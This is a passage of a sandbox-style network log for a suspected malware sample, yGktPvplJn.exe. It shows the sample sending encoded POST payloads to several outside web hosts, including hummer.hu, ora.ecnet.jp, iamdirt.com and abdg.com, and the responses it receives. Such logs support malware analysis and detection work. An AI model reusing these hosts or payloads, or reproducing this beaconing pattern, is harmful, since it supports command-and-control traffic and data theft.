dPCsdCeF7PfAz6ey1kBOEfAR1pOdlMj8S0uF0qh7SML43Ev4P9zNy1JTv5I4AoEVHmTZcmov0TAZ+DLosgYweR+74xwuWk/03K9MG+Cq7filX9YpVPiBZSKyVULih+fh2tE6sK20tD5RpiqlSJHUd12NqA/0poSNUqeyk9SFRvMIIRdYmitNOd1eN5ooIkEVBNOx63qy3eXfHVx2PyL7ogqgfNzoDFywo7krZpITRCM/pQRJP4GBqI1KfNY2FNoy5qjMHzxFVw461TJ33VyzP5nUBoQqA4gpFbuIM6Dkjbti1+9l1YyPewirVYDooi99akqy1TIRV6h2usYsGn4vPnqsJ2zY05zfCx2z5HFhAVZ3xJyuFVi85I++DQWwKKC+n/PIwKy6XMLJEzIYQp1LLOZ6FlpwXRJk9q7b5sIllG8EC/Mce0Vxb1pN9FB41No4ycJAeibRGg+DPuhh18teBBbTPAAZPhMvW9CVHBUMZV7RGi379Is19JxeEEGv+5JV2AGJLfh8LbOM8d8I1w+Npsz95l68c54qrCZkaO4uIWvHzbbYrWNbSEM1rEuZMoCHEEm9xsSpdj+a1GhjBwFf
Oct 25, 2024 11:17:36.074721098 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.transsib.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	52572	185.80.51.179	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.970366001 CEST	808	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.hummer.hu Cache-Control: no-cache Data Raw: 45 56 6b 38 4e 39 45 6d 2b 2f 65 73 6c 42 6a 73 63 44 45 51 73 43 72 6e 78 34 4b 50 30 42 66 6e 6c 55 49 4a 63 6d 75 34 75 50 38 45 5a 66 34 72 6c 2f 53 4f 74 59 35 6f 70 54 31 4d 76 54 2b 4e 37 37 47 42 38 66 78 67 6a 6a 38 66 57 49 34 50 68 35 73 37 4c 6c 61 4c 65 4d 58 67 49 79 4c 48 61 58 42 31 76 47 42 75 67 4a 4f 4d 49 6b 75 42 63 48 33 63 47 30 6a 39 61 68 41 42 2f 68 70 67 78 63 38 48 43 41 75 57 2b 73 2f 43 31 55 78 66 53 58 6b 4b 59 61 46 2b 6b 36 6e 46 64 62 5a 41 70 65 39 7a 6f 68 34 68 74 66 43 39 61 2b 49 6f 6b 79 39 52 63 4c 5a 36 61 6e 78 6f 55 33 42 67 58 56 78 68 5a 39 38 72 73 51 57 4d 47 66 46 34 78 64 7a 2b 42 32 36 78 69 53 67 31 53 39 67 5a 75 51 6a 61 55 68 53 61 52 42 68 51 4b 47 71 5a 73 71 36 69 42 72 6c 58 31 67 73 72 52 44 54 6d 65 76 33 74 71 41 5a 34 2b 37 37 75 65 63 36 50 75 38 4c 34 53 45 32 71 35 71 61 76 6d 45 2b 35 37 53 33 2b 67 55 6d 73 53 58 6e 42 75 65 69 53 37 2f 66 4e 4c 51 61 76 79 50 64 47 67 78 79 43 4b 71 6f 49 65 57 47 37 36 45 68 65 62 38 2b 51 55 32 [TRUNCATED] Data Ascii: EVk8N9Em+/eslBjscDEQsCrnx4KP0BfnlUIJcmu4uP8EZf4rl/SOtY5opT1MvT+N77GB8fxgjj8fWI4Ph5s7LlaLeMXgIyLHaXB1vGBugJOMIkuBcH3cG0j9ahAB/hpgxc8HCAuW+s/C1UxfSXkKYaF+k6nFdbZApe9zoh4htfC9a+Ioky9RcLZ6anxoU3BgXVxhZ98rsQWMGfF4xdz+B26xiSg1S9gZuQjaUhSaRBhQKGqZsq6iBrlX1gsrRDTmev3tqAZ4+77uec6Pu8L4SE2q5qavmE+57S3+gUmsSXnBueiS7/fNLQavyPdGgxyCKqoIeWG76Eheb8+QU2r0NRUIlEnpUxzspNMXA1IMkcfhjXPIo7ddlbwd9dWtFJTjfURcBsYiEznE6jbOoZ2OFsWiom4SkfqhLhipWtW/GsNfbLFqIL1DxWZqBDjyfC21Ko5X1Q9oNNno2Pne3wl+XlZd1C0QUkj/LcLZPb/yzMSrgBh6qJ82CvpDnSjkyFf2cJPu39FAFIwWERCHm4cSRdONDtcP7+7ROwMj57Yh9G6OthaL4SyU6XLVri1BuwVQ
Oct 25, 2024 11:17:35.840595961 CEST	407	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Server: Apache Location: http://hummer.hu/ Content-Length: 225 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 68 75 6d 6d 65 72 2e 68 75 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://hummer.hu/">here</a>.</p></body></html>
Oct 25, 2024 11:17:35.864284992 CEST	808	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.hummer.hu Cache-Control: no-cache Data Raw: 45 56 6b 38 4e 39 45 6d 2b 2f 65 73 6c 42 6a 73 63 44 45 51 73 43 72 6e 78 34 4b 50 30 42 66 6e 6c 55 49 4a 63 6d 75 34 75 50 38 45 5a 66 34 72 6c 2f 53 4f 74 59 35 6f 70 54 31 4d 76 54 2b 4e 37 37 47 42 38 66 78 67 6a 6a 38 66 57 49 34 50 68 35 73 37 4c 6c 61 4c 65 4d 58 67 49 79 4c 48 61 58 42 31 76 47 42 75 67 4a 4f 4d 49 6b 75 42 63 48 33 63 47 30 6a 39 61 68 41 42 2f 68 70 67 78 63 38 48 43 41 75 57 2b 73 2f 43 31 55 78 66 53 58 6b 4b 59 61 46 2b 6b 36 6e 46 64 62 5a 41 70 65 39 7a 6f 68 34 68 74 66 43 39 61 2b 49 6f 6b 79 39 52 63 4c 5a 36 61 6e 78 6f 55 33 42 67 58 56 78 68 5a 39 38 72 73 51 57 4d 47 66 46 34 78 64 7a 2b 42 32 36 78 69 53 67 31 53 39 67 5a 75 51 6a 61 55 68 53 61 52 42 68 51 4b 47 71 5a 73 71 36 69 42 72 6c 58 31 67 73 72 52 44 54 6d 65 76 33 74 71 41 5a 34 2b 37 37 75 65 63 36 50 75 38 4c 34 53 45 32 71 35 71 61 76 6d 45 2b 35 37 53 33 2b 67 55 6d 73 53 58 6e 42 75 65 69 53 37 2f 66 4e 4c 51 61 76 79 50 64 47 67 78 79 43 4b 71 6f 49 65 57 47 37 36 45 68 65 62 38 2b 51 55 32 [TRUNCATED] Data Ascii: EVk8N9Em+/eslBjscDEQsCrnx4KP0BfnlUIJcmu4uP8EZf4rl/SOtY5opT1MvT+N77GB8fxgjj8fWI4Ph5s7LlaLeMXgIyLHaXB1vGBugJOMIkuBcH3cG0j9ahAB/hpgxc8HCAuW+s/C1UxfSXkKYaF+k6nFdbZApe9zoh4htfC9a+Ioky9RcLZ6anxoU3BgXVxhZ98rsQWMGfF4xdz+B26xiSg1S9gZuQjaUhSaRBhQKGqZsq6iBrlX1gsrRDTmev3tqAZ4+77uec6Pu8L4SE2q5qavmE+57S3+gUmsSXnBueiS7/fNLQavyPdGgxyCKqoIeWG76Eheb8+QU2r0NRUIlEnpUxzspNMXA1IMkcfhjXPIo7ddlbwd9dWtFJTjfURcBsYiEznE6jbOoZ2OFsWiom4SkfqhLhipWtW/GsNfbLFqIL1DxWZqBDjyfC21Ko5X1Q9oNNno2Pne3wl+XlZd1C0QUkj/LcLZPb/yzMSrgBh6qJ82CvpDnSjkyFf2cJPu39FAFIwWERCHm4cSRdONDtcP7+7ROwMj57Yh9G6OthaL4SyU6XLVri1BuwVQ
Oct 25, 2024 11:17:36.126214027 CEST	407	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Server: Apache Location: http://hummer.hu/ Content-Length: 225 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 68 75 6d 6d 65 72 2e 68 75 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://hummer.hu/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	52574	60.43.154.138	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.131933928 CEST	799	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora.ecnet.jp Cache-Control: no-cache Data Raw: 74 5a 67 79 5a 6d 35 38 77 76 64 38 52 47 50 37 65 52 69 68 64 64 48 58 65 39 58 75 78 6a 6c 4d 67 71 74 6e 4c 44 31 58 47 43 76 34 68 64 48 53 77 62 78 62 69 33 4a 77 64 6b 5a 34 70 4b 47 6f 75 2b 4a 47 51 62 66 4f 41 4e 7a 57 7a 64 66 62 6e 38 4a 78 43 74 61 75 41 73 5a 44 6a 42 6f 43 45 71 66 67 36 77 4e 35 36 43 50 35 76 66 67 77 78 38 73 79 41 36 6e 58 43 41 35 57 6b 32 6a 69 75 72 37 53 30 6f 6f 51 35 54 34 4a 49 43 50 68 4e 65 55 31 63 76 2f 52 50 4a 6a 44 59 46 56 6c 72 48 50 57 62 39 4e 36 52 47 6a 55 50 73 76 77 66 79 71 51 6a 67 32 43 4a 34 74 56 46 69 2b 6d 59 71 58 4d 4b 74 65 53 41 77 64 71 79 72 6c 30 55 54 6c 6f 66 46 31 41 63 77 46 7a 48 69 6d 4e 4a 50 35 50 50 62 77 70 72 72 37 42 4d 63 65 4e 70 2b 61 36 41 2f 50 69 74 4c 65 62 4d 62 76 51 59 61 45 70 58 54 51 65 63 4b 31 44 59 68 74 64 6f 50 6c 6b 71 55 50 49 7a 33 62 59 69 46 6f 50 78 4b 45 36 6e 31 55 4d 38 54 73 66 54 6c 36 61 61 4f 7a 65 62 4c 67 53 33 4a 69 43 76 59 34 61 6a 35 4c 34 43 50 69 72 6d 58 50 30 33 37 45 33 49 38 [TRUNCATED] Data Ascii: tZgyZm58wvd8RGP7eRihddHXe9XuxjlMgqtnLD1XGCv4hdHSwbxbi3JwdkZ4pKGou+JGQbfOANzWzdfbn8JxCtauAsZDjBoCEqfg6wN56CP5vfgwx8syA6nXCA5Wk2jiur7S0ooQ5T4JICPhNeU1cv/RPJjDYFVlrHPWb9N6RGjUPsvwfyqQjg2CJ4tVFi+mYqXMKteSAwdqyrl0UTlofF1AcwFzHimNJP5PPbwprr7BMceNp+a6A/PitLebMbvQYaEpXTQecK1DYhtdoPlkqUPIz3bYiFoPxKE6n1UM8TsfTl6aaOzebLgS3JiCvY4aj5L4CPirmXP037E3I8QVfLN8/ZDZ/qTSkcPNUQCxJAXFBsXmkWHTOx6Zz+Va3MQ5ZDnni8mH2t237oDK95RbDo4z8EuPyw8rcAi0OZ42w5r1DXuxC41w4J93f/39fx4jheoCSlxlNg41EmJUxPcNVstRedsuU4O7ccTyzKEh2cqX7XIcG3b1HrdoxhV7Jv7bijVOLylIPL/UM18mpBRBldfulMt5k1Mj/M79fpTzGKx7CUGEgg==
Oct 25, 2024 11:17:36.015487909 CEST	425	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Server: Apache Location: http://furec.sakura.ne.jp/ Content-Length: 234 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 75 72 65 63 2e 73 61 6b 75 72 61 2e 6e 65 2e 6a 70 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://furec.sakura.ne.jp/">here</a>.</p></body></html>
Oct 25, 2024 11:17:36.031595945 CEST	799	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora.ecnet.jp Cache-Control: no-cache Data Raw: 74 5a 67 79 5a 6d 35 38 77 76 64 38 52 47 50 37 65 52 69 68 64 64 48 58 65 39 58 75 78 6a 6c 4d 67 71 74 6e 4c 44 31 58 47 43 76 34 68 64 48 53 77 62 78 62 69 33 4a 77 64 6b 5a 34 70 4b 47 6f 75 2b 4a 47 51 62 66 4f 41 4e 7a 57 7a 64 66 62 6e 38 4a 78 43 74 61 75 41 73 5a 44 6a 42 6f 43 45 71 66 67 36 77 4e 35 36 43 50 35 76 66 67 77 78 38 73 79 41 36 6e 58 43 41 35 57 6b 32 6a 69 75 72 37 53 30 6f 6f 51 35 54 34 4a 49 43 50 68 4e 65 55 31 63 76 2f 52 50 4a 6a 44 59 46 56 6c 72 48 50 57 62 39 4e 36 52 47 6a 55 50 73 76 77 66 79 71 51 6a 67 32 43 4a 34 74 56 46 69 2b 6d 59 71 58 4d 4b 74 65 53 41 77 64 71 79 72 6c 30 55 54 6c 6f 66 46 31 41 63 77 46 7a 48 69 6d 4e 4a 50 35 50 50 62 77 70 72 72 37 42 4d 63 65 4e 70 2b 61 36 41 2f 50 69 74 4c 65 62 4d 62 76 51 59 61 45 70 58 54 51 65 63 4b 31 44 59 68 74 64 6f 50 6c 6b 71 55 50 49 7a 33 62 59 69 46 6f 50 78 4b 45 36 6e 31 55 4d 38 54 73 66 54 6c 36 61 61 4f 7a 65 62 4c 67 53 33 4a 69 43 76 59 34 61 6a 35 4c 34 43 50 69 72 6d 58 50 30 33 37 45 33 49 38 [TRUNCATED] Data Ascii: tZgyZm58wvd8RGP7eRihddHXe9XuxjlMgqtnLD1XGCv4hdHSwbxbi3JwdkZ4pKGou+JGQbfOANzWzdfbn8JxCtauAsZDjBoCEqfg6wN56CP5vfgwx8syA6nXCA5Wk2jiur7S0ooQ5T4JICPhNeU1cv/RPJjDYFVlrHPWb9N6RGjUPsvwfyqQjg2CJ4tVFi+mYqXMKteSAwdqyrl0UTlofF1AcwFzHimNJP5PPbwprr7BMceNp+a6A/PitLebMbvQYaEpXTQecK1DYhtdoPlkqUPIz3bYiFoPxKE6n1UM8TsfTl6aaOzebLgS3JiCvY4aj5L4CPirmXP037E3I8QVfLN8/ZDZ/qTSkcPNUQCxJAXFBsXmkWHTOx6Zz+Va3MQ5ZDnni8mH2t237oDK95RbDo4z8EuPyw8rcAi0OZ42w5r1DXuxC41w4J93f/39fx4jheoCSlxlNg41EmJUxPcNVstRedsuU4O7ccTyzKEh2cqX7XIcG3b1HrdoxhV7Jv7bijVOLylIPL/UM18mpBRBldfulMt5k1Mj/M79fpTzGKx7CUGEgg==
Oct 25, 2024 11:17:36.302776098 CEST	425	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache Location: http://furec.sakura.ne.jp/ Content-Length: 234 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 75 72 65 63 2e 73 61 6b 75 72 61 2e 6e 65 2e 6a 70 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://furec.sakura.ne.jp/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	52578	198.185.159.144	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.271370888 CEST	778	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.iamdirt.com Cache-Control: no-cache Data Raw: 67 7a 36 34 71 75 55 6e 49 50 69 55 5a 4c 74 70 6a 44 68 54 69 31 37 4a 2b 4f 38 7a 53 57 42 70 36 53 70 73 49 55 76 65 59 2f 67 77 32 31 4a 76 38 33 44 44 5a 75 58 47 39 54 54 32 61 4a 35 49 4c 74 65 37 4e 34 67 31 41 7a 57 6e 37 6e 4d 75 43 6d 47 2b 4c 32 35 64 4a 31 36 64 72 67 39 51 2f 4b 64 33 78 30 55 6b 50 63 43 6e 44 78 4a 4f 51 74 72 72 76 69 79 73 65 6a 6a 52 49 34 2f 45 71 55 33 63 68 74 5a 7a 36 34 73 64 70 50 4f 57 67 41 2b 6c 65 38 2b 51 51 33 39 53 67 62 72 46 30 41 79 5a 4d 76 44 5a 56 71 61 35 6e 6d 4e 58 4c 53 45 6d 46 69 66 65 76 4f 44 53 56 44 4b 2f 2f 62 79 76 5a 43 55 41 6d 52 4d 76 31 2b 75 6e 65 6f 34 47 32 6c 69 6a 67 58 70 6d 39 2f 43 78 77 6e 41 53 38 50 73 6b 59 2f 6f 59 53 69 74 2b 50 4e 42 55 66 54 56 75 42 74 76 35 32 75 33 51 68 32 57 78 2b 31 41 78 73 52 69 79 65 50 6a 47 72 6b 6d 4d 43 67 54 62 44 63 51 53 32 7a 68 4d 6c 56 6e 6f 67 7a 4c 6f 57 46 62 6c 6d 50 59 73 67 2f 77 44 74 79 61 7a 2f 6a 6c 31 6c 64 38 51 37 4e 43 35 57 72 44 50 47 38 67 50 70 76 6a 43 4d 36 [TRUNCATED] Data Ascii: gz64quUnIPiUZLtpjDhTi17J+O8zSWBp6SpsIUveY/gw21Jv83DDZuXG9TT2aJ5ILte7N4g1AzWn7nMuCmG+L25dJ16drg9Q/Kd3x0UkPcCnDxJOQtrrviysejjRI4/EqU3chtZz64sdpPOWgA+le8+QQ39SgbrF0AyZMvDZVqa5nmNXLSEmFifevODSVDK//byvZCUAmRMv1+uneo4G2lijgXpm9/CxwnAS8PskY/oYSit+PNBUfTVuBtv52u3Qh2Wx+1AxsRiyePjGrkmMCgTbDcQS2zhMlVnogzLoWFblmPYsg/wDtyaz/jl1ld8Q7NC5WrDPG8gPpvjCM6KtlYUFD4A30ktnxiTCbJUSX+vHgwCPESEjLcCiye9TbyjlSdhmr7sqDiMcJd5HO3SJdPARmxrjCQvHoJaZz+VtWODv9OoMO2A+O5JeO+kR62KgdgPABQEmOIiBKjQJCtTUSbDPuQuW037y7RsgLPXUuBjuQVcUVFlJ+h8mcmGyX6Ik17pvhCPzvzu5e6KudTmgVMlpcjZJ4bQ=
Oct 25, 2024 11:17:35.867230892 CEST	1236	IN	HTTP/1.1 403 Forbidden Cache-Control: no-cache, must-revalidate Content-Length: 2059 Content-Type: text/html; charset=UTF-8 Date: Fri, 25 Oct 2024 09:17:35 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: VDq1bcI7/Q4ImxXLL Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a [TRUNCATED] Data Ascii: <!DOCTYPE html><head> <title>403 Forbidden</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 400; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 400; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span {
Oct 25, 2024 11:17:35.867269039 CEST	1101	IN	Data Raw: 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 Data Ascii: margin: 0 11px; font-size: 1em; font-weight: 400; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 400; color: #191919; } @media (max-width: 600px) { body { font-family: "Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	52579	192.252.154.18	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.359386921 CEST	803	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.abdg.com Cache-Control: no-cache Data Raw: 38 37 5a 30 50 50 56 43 46 50 69 38 63 58 68 4a 58 50 63 51 63 75 35 71 57 50 32 44 36 52 4b 54 2b 66 61 72 75 59 73 64 74 68 4d 77 5a 6e 6d 71 65 52 73 52 6e 70 6b 2b 53 47 38 74 41 77 44 4c 41 68 76 30 65 7a 4c 71 76 6f 79 79 63 50 68 6a 4b 2f 33 72 4c 39 4b 4a 46 6b 53 2f 4e 6f 56 39 2f 65 37 6d 68 6d 46 31 64 76 53 50 62 39 70 63 41 38 5a 78 6b 75 59 38 34 55 33 51 66 36 6a 56 62 47 76 70 30 54 71 6e 4f 53 4a 6c 30 49 43 33 66 6e 63 32 2b 73 66 72 64 6e 7a 50 42 78 48 30 55 6e 6a 55 55 2f 31 35 44 54 6a 57 56 48 30 71 37 66 65 34 45 4e 67 42 67 59 75 54 62 78 4e 63 61 6f 34 53 65 64 47 63 36 70 31 69 59 4b 72 58 67 68 58 63 49 46 41 53 4f 55 7a 77 74 62 46 73 4a 48 4f 65 34 63 2b 2f 57 67 65 76 39 73 52 4e 4e 34 4f 6f 63 6e 6f 55 79 34 31 69 79 33 4f 55 46 47 62 30 46 57 50 62 64 41 59 48 50 7a 6e 49 38 50 66 59 73 36 76 5a 59 44 2f 59 73 39 47 4a 71 58 55 42 35 6e 55 32 76 65 76 4e 31 65 51 31 5a 69 35 38 47 32 4c 65 33 4a 63 31 6c 5a 54 65 74 31 6a 42 39 36 79 6c 54 46 47 43 59 4d 42 78 46 4f [TRUNCATED] Data Ascii: 